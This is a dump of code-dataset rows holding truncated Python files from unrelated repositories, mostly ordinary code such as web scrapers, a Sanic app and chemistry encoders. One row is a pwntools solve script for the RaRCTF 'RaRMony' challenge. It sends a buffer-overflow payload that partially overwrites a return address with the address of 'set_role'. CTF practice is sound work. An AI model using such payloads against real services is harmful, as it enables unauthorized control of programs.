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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6b86e0466972784aece51a425236d6e98522687a | 1,214 | py | Python | solutions/mols_search/mols-search-webserver/src/encoder/encode.py | naetimus/bootcamp | 0182992df7c54012944b51fe9b70532ab6a0059b | [
"Apache-2.0"
] | 1 | 2021-04-06T06:13:20.000Z | 2021-04-06T06:13:20.000Z | solutions/mols_search/mols-search-webserver/src/encoder/encode.py | naetimus/bootcamp | 0182992df7c54012944b51fe9b70532ab6a0059b | [
"Apache-2.0"
] | null | null | null | solutions/mols_search/mols-search-webserver/src/encoder/encode.py | naetimus/bootcamp | 0182992df7c54012944b51fe9b70532ab6a0059b | [
"Apache-2.0"
] | 1 | 2020-04-03T05:24:47.000Z | 2020-04-03T05:24:47.000Z | import os
import numpy as np
from diskcache import Cache
from rdkit import DataStructs
from common.const import default_cache_dir
from rdkit import Chem
import math
from rdkit.Chem import AllChem
from common.config import VECTOR_DIMENSION
def smiles_to_vec(smiles):
mols = Chem.MolFromSmiles(smiles)
fp = AllCh... | 28.904762 | 98 | 0.622735 |
2b366973db4f70434b3bb3a57f91139455569fae | 411 | py | Python | pwn/RaRMony/solve.py | NoXLaw/RaRCTF2021-Challenges-Public | 1a1b094359b88f8ebbc83a6b26d27ffb2602458f | [
"MIT"
] | null | null | null | pwn/RaRMony/solve.py | NoXLaw/RaRCTF2021-Challenges-Public | 1a1b094359b88f8ebbc83a6b26d27ffb2602458f | [
"MIT"
] | null | null | null | pwn/RaRMony/solve.py | NoXLaw/RaRCTF2021-Challenges-Public | 1a1b094359b88f8ebbc83a6b26d27ffb2602458f | [
"MIT"
] | null | null | null | #!/usr/bin/python3
from pwn import *
import re
e = ELF("./src/harmony")
if args.REMOTE:
p = remote(args.HOST, int(args.PORT))
else:
p = process(e.path)
p.recv(timeout=1)
p.sendline(b"3")
p.recvuntil(b": ")
pl = b"A"*32 + p64(e.sym["set_role"])[:3]
p.sendline(pl)
p.sendline(b"3")
p.sendline(b"0")
p.sendline(b... | 18.681818 | 50 | 0.635036 |
5cb6a3b7c43c56edd46940321ddd352926cee025 | 484 | py | Python | frappe-bench/apps/erpnext/erpnext/patches/v7_0/rename_fee_amount_to_fee_component.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:55:29.000Z | 2021-04-29T14:55:29.000Z | frappe-bench/apps/erpnext/erpnext/patches/v7_0/rename_fee_amount_to_fee_component.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/patches/v7_0/rename_fee_amount_to_fee_component.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:39:01.000Z | 2021-04-29T14:39:01.000Z | # Copyright (c) 2013, Web Notes Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.utils.rename_field import rename_field
def execute():
if frappe.db.exists("DocType", "Fee Amount"):
frappe.renam... | 30.25 | 71 | 0.741736 |
7a516502618cd48599c89b6565457c998e1e9406 | 737 | py | Python | bot/gmaps.py | kopytjuk/uni-unterkunft | c81664e0070f97f45baa6eaff6a71039a267fd37 | [
"MIT"
] | null | null | null | bot/gmaps.py | kopytjuk/uni-unterkunft | c81664e0070f97f45baa6eaff6a71039a267fd37 | [
"MIT"
] | null | null | null | bot/gmaps.py | kopytjuk/uni-unterkunft | c81664e0070f97f45baa6eaff6a71039a267fd37 | [
"MIT"
] | null | null | null | import os
from datetime import datetime
import googlemaps
from flatdict import FlatDict
import pandas as pd
gmaps = googlemaps.Client(key=os.environ["GMAPS_API_KEY"])
def get_distances(origin, destinations, departure_time:datetime):
result_dict = gmaps.distance_matrix(origin, destinations,
mode=... | 29.48 | 88 | 0.736771 |
7a81227046624372527c6f326a998a7b26002b38 | 6,496 | py | Python | src/torch/contrib/npu/optimized_lib/function/nms.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-12-02T03:07:35.000Z | 2021-12-02T03:07:35.000Z | src/torch/contrib/npu/optimized_lib/function/nms.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-11-12T07:23:03.000Z | 2021-11-12T08:28:13.000Z | src/torch/contrib/npu/optimized_lib/function/nms.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2020, Huawei Technologies.All rights reserved.
#
# Licensed under the BSD 3-Clause License (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://opensource.org/licenses/BSD-3-Clause
#
# Unless required by applicable law... | 44.190476 | 119 | 0.648707 |
56f4b05471f0b737f2b633ed3d2336d775f8b3be | 2,417 | py | Python | crawler/spiders/cellphones_mobile.py | abel3t/web_crawler | c1eb570743299676489f279b5df1b8d18d94a782 | [
"MIT"
] | 2 | 2021-03-23T00:52:24.000Z | 2021-09-07T03:42:40.000Z | crawler/spiders/cellphones_mobile.py | abel3t/web_crawler | c1eb570743299676489f279b5df1b8d18d94a782 | [
"MIT"
] | null | null | null | crawler/spiders/cellphones_mobile.py | abel3t/web_crawler | c1eb570743299676489f279b5df1b8d18d94a782 | [
"MIT"
] | null | null | null | import scrapy
import os
import re
from datetime import date
basedir = os.path.dirname(os.path.realpath('__file__'))
class CellPhonesMobileSpider(scrapy.Spider):
name = 'cellphones_mobile'
base_url = 'https://cellphones.com.vn/mobile.html?p=%s'
start_urls = [base_url % 1]
download_delay = 5
def p... | 36.074627 | 129 | 0.596607 |
7413b759a950950ff8cdad74aedab010ecfa5ff2 | 4,135 | py | Python | mod/units/update.py | HeraldStudio/wechat | b023b7460a6b4284ea782333e13f24d169ddaff4 | [
"MIT"
] | 1 | 2015-06-28T15:26:52.000Z | 2015-06-28T15:26:52.000Z | mod/units/update.py | HeraldStudio/wechat | b023b7460a6b4284ea782333e13f24d169ddaff4 | [
"MIT"
] | null | null | null | mod/units/update.py | HeraldStudio/wechat | b023b7460a6b4284ea782333e13f24d169ddaff4 | [
"MIT"
] | 6 | 2015-03-20T16:36:22.000Z | 2021-08-28T07:58:18.000Z | # -*- coding: utf-8 -*-
# @Date : 2014-06-29 22:01:21
# @Author : xindervella@gamil.com yml_bright@163.com
from tornado.httpclient import HTTPRequest, HTTPClient, HTTPError
from sqlalchemy.orm.exc import NoResultFound
from config import SERVICE, TIME_OUT, LOCAL
from ..models.course import Course
from ..mod... | 38.287037 | 81 | 0.4948 |
74918040323b8c23c96f291fbc380875d76f2656 | 1,053 | py | Python | pyLS/notes/imageDisplay.py | swharden/ROI-Analysis-Pipeline | e83d96c43fdd50cb44be365289e964576492617e | [
"MIT"
] | 4 | 2017-06-20T19:56:22.000Z | 2021-05-29T10:07:47.000Z | pyLS/notes/imageDisplay.py | swharden/ROI-Analysis-Pipeline | e83d96c43fdd50cb44be365289e964576492617e | [
"MIT"
] | 11 | 2017-05-31T19:14:32.000Z | 2018-09-12T23:44:11.000Z | pyLS/notes/imageDisplay.py | swharden/ROI-Analysis-Pipeline | e83d96c43fdd50cb44be365289e964576492617e | [
"MIT"
] | 2 | 2017-06-20T17:14:38.000Z | 2017-06-20T19:51:34.000Z | import numpy as np
import matplotlib.pyplot as plt
import matplotlib.gridspec as gridspec
imageData=plt.imread("../../data/linescan/example/green.tif") # load the 2D image data
trace=np.average(imageData,axis=1) # average the image data across to create a linescan average
plt.figure(figsize=(4,2)) # make a new figure ... | 55.421053 | 105 | 0.755935 |
77927aaecc2e017a1aa5b365bd5cc43bc17ad6f7 | 22,720 | py | Python | src/14106_Zoe (14106).py | En3rGy/14106_Zoe | 9273fca7775a5b6fc9a2f9c5411957083352ce4c | [
"MIT"
] | 1 | 2021-01-01T09:12:12.000Z | 2021-01-01T09:12:12.000Z | src/14106_Zoe (14106).py | En3rGy/14106_Zoe | 9273fca7775a5b6fc9a2f9c5411957083352ce4c | [
"MIT"
] | 4 | 2020-12-23T23:04:09.000Z | 2022-03-16T21:21:38.000Z | src/14106_Zoe (14106).py | En3rGy/14106_Zoe | 9273fca7775a5b6fc9a2f9c5411957083352ce4c | [
"MIT"
] | null | null | null | # coding: UTF-8
import urllib
import urllib2
import ssl
import urlparse
import threading
from datetime import datetime
import json
##!!!!##################################################################################################
#### Own written code can be placed above this commentblock . Do not change or del... | 43.193916 | 129 | 0.577333 |
24eb3bf4f7d8bb1bd37f878a9178c2cdc68fd433 | 70 | py | Python | Curso-Em-Video-Python/1Materias/011-Cores/#011-Cores.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso-Em-Video-Python/1Materias/011-Cores/#011-Cores.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso-Em-Video-Python/1Materias/011-Cores/#011-Cores.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | a = 3
b = 5
print('Os valores são {} {} {} e {} {} {}!!'.format(a, b)) | 23.333333 | 58 | 0.428571 |
796a1c364ad364eb27feb0352073665587c4dd32 | 1,777 | py | Python | Algorithms/Strings/RichieRich.py | baby5/HackerRank | 1e68a85f40499adb9b52a4da16936f85ac231233 | [
"MIT"
] | null | null | null | Algorithms/Strings/RichieRich.py | baby5/HackerRank | 1e68a85f40499adb9b52a4da16936f85ac231233 | [
"MIT"
] | null | null | null | Algorithms/Strings/RichieRich.py | baby5/HackerRank | 1e68a85f40499adb9b52a4da16936f85ac231233 | [
"MIT"
] | null | null | null | #coding:utf-8
n, k = map(int, raw_input().split())
num = raw_input()
if n == 1:
if k:
print 9
else:
print num
else:
cha_set = set()
is_possible = 1
half = n / 2
mid = num[half] if n%2 != 0 else ''
left = list(num[:half])
right = list(num[-half:])
if k >= n:
... | 27.765625 | 53 | 0.315138 |
0629affb5170e582f96c436a96f3c357ab4f55cf | 2,294 | py | Python | LINE/2021/pwn/atelier/client.py | mystickev/ctf-archives | 89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e | [
"MIT"
] | 1 | 2021-11-02T20:53:58.000Z | 2021-11-02T20:53:58.000Z | LINE/2021/pwn/atelier/client.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | LINE/2021/pwn/atelier/client.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | 1 | 2021-12-19T11:06:24.000Z | 2021-12-19T11:06:24.000Z | #!/usr/bin/env python3
import sys
import json
import asyncio
import importlib
# from sqlalchemy import *
class AtelierException:
def __init__(self, e):
self.message = repr(e)
class MaterialRequest:
pass
class MaterialRequestReply:
pass
class RecipeCreateRequest:
def __init__(self, material... | 23.408163 | 101 | 0.644289 |
885507d14d35833417f72c6cef16fdd5153d0b6a | 1,723 | py | Python | research/cv/glore_res50/src/save_callback.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/glore_res50/src/save_callback.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/glore_res50/src/save_callback.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 39.159091 | 87 | 0.668601 |
11e27445bb4137836d32b18a52cba30bab97e80f | 757 | py | Python | Licence 1/I11/TP1/tp1_3.py | axelcoezard/licence | 1ed409c4572dea080169171beb7e8571159ba071 | [
"MIT"
] | 8 | 2020-11-26T20:45:12.000Z | 2021-11-29T15:46:22.000Z | Licence 1/I11/TP1/tp1_3.py | axelcoezard/licence | 1ed409c4572dea080169171beb7e8571159ba071 | [
"MIT"
] | null | null | null | Licence 1/I11/TP1/tp1_3.py | axelcoezard/licence | 1ed409c4572dea080169171beb7e8571159ba071 | [
"MIT"
] | 6 | 2020-10-23T15:29:24.000Z | 2021-05-05T19:10:45.000Z | from math import *
r = float(input("Rayon du cercle : "))
p = 2 * pi * r
a = pi * (r ** 2)
print("Perimetre = " + str(p) + ", Aire = " + str(a) + "\n")
a = float(input("Longueur du premier cote : "))
b = float(input("Longueur du deuxieme cote : "))
c = float(input("Longueur du troisieme cote : "))
s = 0.5 * (a + b ... | 22.264706 | 60 | 0.516513 |
11e768ad5b0c2b477f9157047ce9b2decbd7d33c | 481 | py | Python | string_manipulation/most_common_word.py | daesookimds/Algorithm | 76f4cbfe9000e8c1736f470138499e7c735fecaa | [
"MIT"
] | null | null | null | string_manipulation/most_common_word.py | daesookimds/Algorithm | 76f4cbfe9000e8c1736f470138499e7c735fecaa | [
"MIT"
] | null | null | null | string_manipulation/most_common_word.py | daesookimds/Algorithm | 76f4cbfe9000e8c1736f470138499e7c735fecaa | [
"MIT"
] | null | null | null | import re
import collections
from typing import List
def most_common_word(paragraph: str, banned: List[str]) -> str:
words = [word for word in re.sub(r'[^\w]', ' ', paragraph).lower().split() if word not in banned]
counts = collections.Counter(words)
return counts.most_common(1)[0][0]
def test_case():
... | 28.294118 | 101 | 0.679834 |
011134ab9d44268fc1095bf8412593efc6fbd7d3 | 1,814 | py | Python | Co-Simulation/Sumo/sumo-1.7.0/tools/tls/tls_check.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 4 | 2020-11-13T02:35:56.000Z | 2021-03-29T20:15:54.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/tls/tls_check.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 9 | 2020-12-09T02:12:39.000Z | 2021-02-18T00:15:28.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/tls/tls_check.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 1 | 2020-11-20T19:31:26.000Z | 2020-11-20T19:31:26.000Z | #!/usr/bin/env python
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo
# Copyright (C) 2009-2020 German Aerospace Center (DLR) and others.
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License 2.0 which is available at
# https://www.ec... | 36.28 | 85 | 0.710033 |
0994f59eb657c880715c86d7884f063d137b1035 | 1,425 | py | Python | listings/chapter10/linear-regression-sklearn.py | rh0-me/ITHandbuch10 | 1582d6317e11cc958a14e157440dccf94d44583b | [
"Apache-2.0"
] | 6 | 2021-08-04T19:42:53.000Z | 2022-01-17T14:24:45.000Z | listings/chapter10/linear-regression-sklearn.py | rh0-me/ITHandbuch10 | 1582d6317e11cc958a14e157440dccf94d44583b | [
"Apache-2.0"
] | 1 | 2021-08-30T06:32:08.000Z | 2021-08-30T06:42:46.000Z | listings/chapter10/linear-regression-sklearn.py | rh0-me/ITHandbuch10 | 1582d6317e11cc958a14e157440dccf94d44583b | [
"Apache-2.0"
] | 1 | 2022-02-17T10:32:17.000Z | 2022-02-17T10:32:17.000Z | import matplotlib.pyplot as plt
import csv
import numpy as np
from sklearn.linear_model import LinearRegression
from sys import argv, exit
if len(argv) < 2:
print(f"Verwendung: python3 {argv[0]} CSV-Datei [p]")
exit(1)
# Daten importieren
filename = argv[1]
data = []
data_file = open(filename, 'r')
reader = c... | 27.941176 | 66 | 0.623158 |
09967d452934ba77acf15f8334964497fe5dc27d | 404 | py | Python | books/PythonAutomate/file_organize/reading_zip_files.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | books/PythonAutomate/file_organize/reading_zip_files.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | books/PythonAutomate/file_organize/reading_zip_files.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | import os
import zipfile
from pathlib import Path
p = Path(".")
example_zip = zipfile.ZipFile(p / "example.zip")
print(example_zip.namelist())
spam_info = example_zip.getinfo("spam.txt")
print(f'File Size: {spam_info.file_size}')
print(f'Compress Size: {spam_info.compress_size}')
print(
f"Compressed... | 23.764706 | 94 | 0.715347 |
fec9254cedbc1f32e09c13f7c6fa24ff5b817ebb | 85 | py | Python | Webpage/utils/apps.py | ASV-Aachen/Website | bbfc02d71dde67fdf89a4b819b795a73435da7cf | [
"Apache-2.0"
] | null | null | null | Webpage/utils/apps.py | ASV-Aachen/Website | bbfc02d71dde67fdf89a4b819b795a73435da7cf | [
"Apache-2.0"
] | 46 | 2022-01-08T12:03:24.000Z | 2022-03-30T08:51:05.000Z | Webpage/utils/apps.py | ASV-Aachen/Website | bbfc02d71dde67fdf89a4b819b795a73435da7cf | [
"Apache-2.0"
] | null | null | null | from django.apps import AppConfig
class utilsConfig(AppConfig):
name = 'utils'
| 14.166667 | 33 | 0.741176 |
28d41900089f8762de402eb24e1490da46f0d20b | 1,757 | py | Python | app.py | HerbLee/sanicweb | f5177ca715ed704ebceffdd59710406b2659c514 | [
"Apache-2.0"
] | null | null | null | app.py | HerbLee/sanicweb | f5177ca715ed704ebceffdd59710406b2659c514 | [
"Apache-2.0"
] | null | null | null | app.py | HerbLee/sanicweb | f5177ca715ed704ebceffdd59710406b2659c514 | [
"Apache-2.0"
] | null | null | null | # @time : 2020/7/12 16:12
# @author : HerbLee
# @file : app.py
from sanic import Sanic
from jinja2 import Environment, PackageLoader, select_autoescape
from tortoise.contrib.sanic import register_tortoise
from util.config_utils import get_mysql_data, init
from sanic import response
from api import api
from ... | 25.463768 | 129 | 0.53045 |
28fbf764dead8aaa4abb79086ada68621a10b8ff | 135 | py | Python | Project Euler Qusetions 41 - 50/Project Euler Question 48.py | Clayton-Threm/Coding-Practice | 6671e8a15f9e797338caa617dae45093f4157bc1 | [
"MIT"
] | 1 | 2020-02-11T02:03:02.000Z | 2020-02-11T02:03:02.000Z | Project Euler Qusetions 41 - 50/Project Euler Question 48.py | Clayton-Threm/Coding-Practice | 6671e8a15f9e797338caa617dae45093f4157bc1 | [
"MIT"
] | null | null | null | Project Euler Qusetions 41 - 50/Project Euler Question 48.py | Clayton-Threm/Coding-Practice | 6671e8a15f9e797338caa617dae45093f4157bc1 | [
"MIT"
] | null | null | null | #Project Euler Question 48
#Self powers
result = 0
for x in range(1,(1000 + 1)):
result += (x**x)
print (int(str(result)[-10::])) | 16.875 | 31 | 0.614815 |
3aab52c72eea0f7460193de093e94088ae9142aa | 9,274 | py | Python | rbac/common/protobuf/task_transaction_pb2.py | akgunkel/sawtooth-next-directory | a88833033ab30e9091479a38947f04c5e396ca46 | [
"Apache-2.0"
] | null | null | null | rbac/common/protobuf/task_transaction_pb2.py | akgunkel/sawtooth-next-directory | a88833033ab30e9091479a38947f04c5e396ca46 | [
"Apache-2.0"
] | 1 | 2018-09-10T19:12:31.000Z | 2018-09-10T19:12:31.000Z | rbac/common/protobuf/task_transaction_pb2.py | akgunkel/sawtooth-next-directory | a88833033ab30e9091479a38947f04c5e396ca46 | [
"Apache-2.0"
] | null | null | null | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: task_transaction.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection ... | 39.974138 | 699 | 0.735497 |
42effe81ca3019652e1d98700adbc7babb9bb55b | 4,725 | py | Python | 2019/quals/web-pastetastic/app/main.py | iicarus-bit/google-ctf | 4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b | [
"Apache-2.0"
] | 2,757 | 2018-04-28T21:41:36.000Z | 2022-03-29T06:33:36.000Z | 2019/quals/web-pastetastic/app/main.py | iicarus-bit/google-ctf | 4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b | [
"Apache-2.0"
] | 20 | 2019-07-23T15:29:32.000Z | 2022-01-21T12:53:04.000Z | 2019/quals/web-pastetastic/app/main.py | iicarus-bit/google-ctf | 4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b | [
"Apache-2.0"
] | 449 | 2018-05-09T05:54:05.000Z | 2022-03-30T14:54:18.000Z | # Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | 29.166667 | 124 | 0.686349 |
6e1d41585f4f085a5ee78b18db6a75a82d82df87 | 6,411 | py | Python | EveryoneCounts.py | socialdistancingdashboard/frontend | aa102c20af09f18aea601573940e1fb8b94041a3 | [
"Apache-2.0"
] | 4 | 2020-03-31T09:05:26.000Z | 2020-10-08T10:39:53.000Z | EveryoneCounts.py | socialdistancingdashboard/frontend | aa102c20af09f18aea601573940e1fb8b94041a3 | [
"Apache-2.0"
] | null | null | null | EveryoneCounts.py | socialdistancingdashboard/frontend | aa102c20af09f18aea601573940e1fb8b94041a3 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import streamlit as st
from pages import dashboard
# MAIN MENU HTML (this needs to be the first markdown block for the css to work!)
st.markdown('''
<a id="top"></a>
<div id="nav-container">
<div id="logo">
<img src="https://blog.everyonecounts.de/wp-content/uploads/2020/04/logo_wi... | 23.832714 | 222 | 0.630635 |
2839904a5ab546928b4ff05d6f0411cb52db7ff1 | 676 | py | Python | listings/chapter08/gcd.py | rh0-me/ITHandbuch10 | 1582d6317e11cc958a14e157440dccf94d44583b | [
"Apache-2.0"
] | 6 | 2021-08-04T19:42:53.000Z | 2022-01-17T14:24:45.000Z | listings/chapter08/gcd.py | rh0-me/ITHandbuch10 | 1582d6317e11cc958a14e157440dccf94d44583b | [
"Apache-2.0"
] | 1 | 2021-08-30T06:32:08.000Z | 2021-08-30T06:42:46.000Z | listings/chapter08/gcd.py | rh0-me/ITHandbuch10 | 1582d6317e11cc958a14e157440dccf94d44583b | [
"Apache-2.0"
] | 1 | 2022-02-17T10:32:17.000Z | 2022-02-17T10:32:17.000Z | from sys import argv
def gcd(m, n):
# Trivialer Fall: m und n gleich
if m == n:
return m
# Größeren und kleieren Wert ermitteln
smaller = m if m < n else n
greater = m if m > n else n
# Minimum aus smaller und greater // 2
max_divisor = greater // 2 if greater // 2 < smaller else sm... | 28.166667 | 69 | 0.573964 |
28a1ce8407c650e185578c2326f74a0e17a72edc | 5,055 | py | Python | sim/lib/settings/calibration_settings.py | j-groeneveld/covid | a8d993c866dcd56bf1c5f6f0a2120eae883aa029 | [
"MIT"
] | null | null | null | sim/lib/settings/calibration_settings.py | j-groeneveld/covid | a8d993c866dcd56bf1c5f6f0a2120eae883aa029 | [
"MIT"
] | null | null | null | sim/lib/settings/calibration_settings.py | j-groeneveld/covid | a8d993c866dcd56bf1c5f6f0a2120eae883aa029 | [
"MIT"
] | 1 | 2021-07-28T13:52:58.000Z | 2021-07-28T13:52:58.000Z | import multiprocessing
'''
Default settings for model calibration
'''
TO_HOURS = 24.0
settings_data = {
'verbose' : True,
'use_households' : True,
'data_start_date': '2020-03-10',
}
settings_simulation = {
'n_init_samples': 20, # initial random evaluations
'n_iterations': 500, # iterations of B... | 27.177419 | 83 | 0.497725 |
95397b7164b608a94eb7df08c64f5907a4160c34 | 961 | py | Python | 21-fs-ias-lec/03-BACnetCore/src/core/storage/filters.py | cn-uofbasel/BCN | 2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a | [
"MIT"
] | 8 | 2020-03-17T21:12:18.000Z | 2021-12-12T15:55:54.000Z | 21-fs-ias-lec/03-BACnetCore/src/core/storage/filters.py | cn-uofbasel/BCN | 2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a | [
"MIT"
] | 2 | 2021-07-19T06:18:43.000Z | 2022-02-10T12:17:58.000Z | 21-fs-ias-lec/03-BACnetCore/src/core/storage/filters.py | cn-uofbasel/BCN | 2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a | [
"MIT"
] | 25 | 2020-03-20T09:32:45.000Z | 2021-07-18T18:12:59.000Z | from ..interface.event import Event
"""
This file consists of filters that can be used to filter and search for results on database level. This should give a
performance advantage compared to when you first get all results and filter afterwards.
These filters are standard versions used by the database handler, users ... | 36.961538 | 117 | 0.790843 |
959d408d622d869e12d6964565228200c197a506 | 2,143 | py | Python | Python X/Classes and objects with Python .py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | Python X/Classes and objects with Python .py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | Python X/Classes and objects with Python .py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | {
"cells": [
{
"cell_type": "code",
"execution_count": 2,
"metadata": {},
"outputs": [],
"source": [
"# we're going to create a class (robot) with three atributes: name, colour and weight and it will \n",
"# have one function called: introduce yourself which says \"my name is x\"\n",
"\n",... | 22.797872 | 107 | 0.4937 |
6c0ce30d45e70252ca7ac9dc7521ef0a9d980ebc | 3,689 | py | Python | Liter_Server/initDB.py | Drelf2018/Liter | e12ffdd22ee7b2724722c38e852fc9c1b2f180ad | [
"MIT"
] | null | null | null | Liter_Server/initDB.py | Drelf2018/Liter | e12ffdd22ee7b2724722c38e852fc9c1b2f180ad | [
"MIT"
] | null | null | null | Liter_Server/initDB.py | Drelf2018/Liter | e12ffdd22ee7b2724722c38e852fc9c1b2f180ad | [
"MIT"
] | null | null | null | import sqlite3
import time
import os
def Unew(username: str, password: str, mail: str):
c.execute("INSERT INTO USER (USERNAME,NICKNAME,PASSWORD,REGTIME,MAIL) VALUES (?,?,?,?,?);",
(username, username, password, time.strftime(r'%Y/%m/%d %H:%M', time.localtime()), mail))
conn.commit()
return c... | 32.9375 | 142 | 0.603144 |
66f06e46f04ff9ed54ca8bee258f80ee3de070a2 | 5,626 | py | Python | kollektiv5gui/tests/test_ea_generator.py | MateRyze/InformatiCup-2019 | eeca3ff7f8a102f4093697c6badee21ce25e2e87 | [
"MIT"
] | 3 | 2019-03-21T17:02:55.000Z | 2019-04-04T18:16:10.000Z | kollektiv5gui/tests/test_ea_generator.py | MateRyze/InformatiCup-2019 | eeca3ff7f8a102f4093697c6badee21ce25e2e87 | [
"MIT"
] | 11 | 2019-10-30T12:05:39.000Z | 2022-03-11T23:43:54.000Z | kollektiv5gui/tests/test_ea_generator.py | MateRyze/InformatiCup-2019 | eeca3ff7f8a102f4093697c6badee21ce25e2e87 | [
"MIT"
] | 1 | 2019-10-30T12:04:00.000Z | 2019-10-30T12:04:00.000Z | from kollektiv5gui.generators.EAGenerator import EAGenerator
import unittest
class Test_EA(unittest.TestCase):
def setUp(self):
self.generator = EAGenerator(True)
self.generator.population.clear()
self.generator.api_calls = 0
def test_init_population(self):
self.assertEqual(l... | 40.768116 | 84 | 0.565766 |
dd155d75c13f546675bb62abf21dea36d6f95588 | 912 | py | Python | py-basics/src/lectures/classes/point.py | NadimBhatti05/s4f | 41d3525bc286ee0b6e727c601f036a96b3c2fb2c | [
"CC0-1.0"
] | null | null | null | py-basics/src/lectures/classes/point.py | NadimBhatti05/s4f | 41d3525bc286ee0b6e727c601f036a96b3c2fb2c | [
"CC0-1.0"
] | null | null | null | py-basics/src/lectures/classes/point.py | NadimBhatti05/s4f | 41d3525bc286ee0b6e727c601f036a96b3c2fb2c | [
"CC0-1.0"
] | 4 | 2021-12-13T15:52:00.000Z | 2022-03-28T13:54:53.000Z | class Point:
def __init__(self, x, y) -> None:
self.x = x
self.y = y
def draw(self):
print(f"Point ({self.x}, {self.y})")
@classmethod
def zero(cls):
return cls(0, 0)
# https://rszalski.github.io/magicmethods/
def __str__(self) -> str:
return f"Point ({... | 23.384615 | 56 | 0.58114 |
dd7ab626321ca252041058b2eca5150b7f1e999e | 448 | py | Python | Python/itertools.combinations_with_replacement().py | paurav11/HackerRank | 80c91c5cc55dd56671a5906be7a106ad4f1db95e | [
"MIT"
] | 1 | 2021-05-19T06:44:03.000Z | 2021-05-19T06:44:03.000Z | Python/itertools.combinations_with_replacement().py | paurav11/HackerRank | 80c91c5cc55dd56671a5906be7a106ad4f1db95e | [
"MIT"
] | null | null | null | Python/itertools.combinations_with_replacement().py | paurav11/HackerRank | 80c91c5cc55dd56671a5906be7a106ad4f1db95e | [
"MIT"
] | null | null | null | from itertools import combinations_with_replacement
if __name__ == '__main__':
input_string = input().strip().split()
if input_string[0].isupper() and (int(input_string[1]) > 0 and int(input_string[1]) <= len(input_string[0])):
combinations_list = sorted(list(combinations_with_replacement(sorted(in... | 49.777778 | 122 | 0.683036 |
06ba4a7b658c4631fa38ba0bdb0b3bdf84c3197d | 483 | py | Python | py_restart_merge.py | ligang945/pyMisc | 3107c80f7f53ffc797b289ec73d1ef4db80f0b63 | [
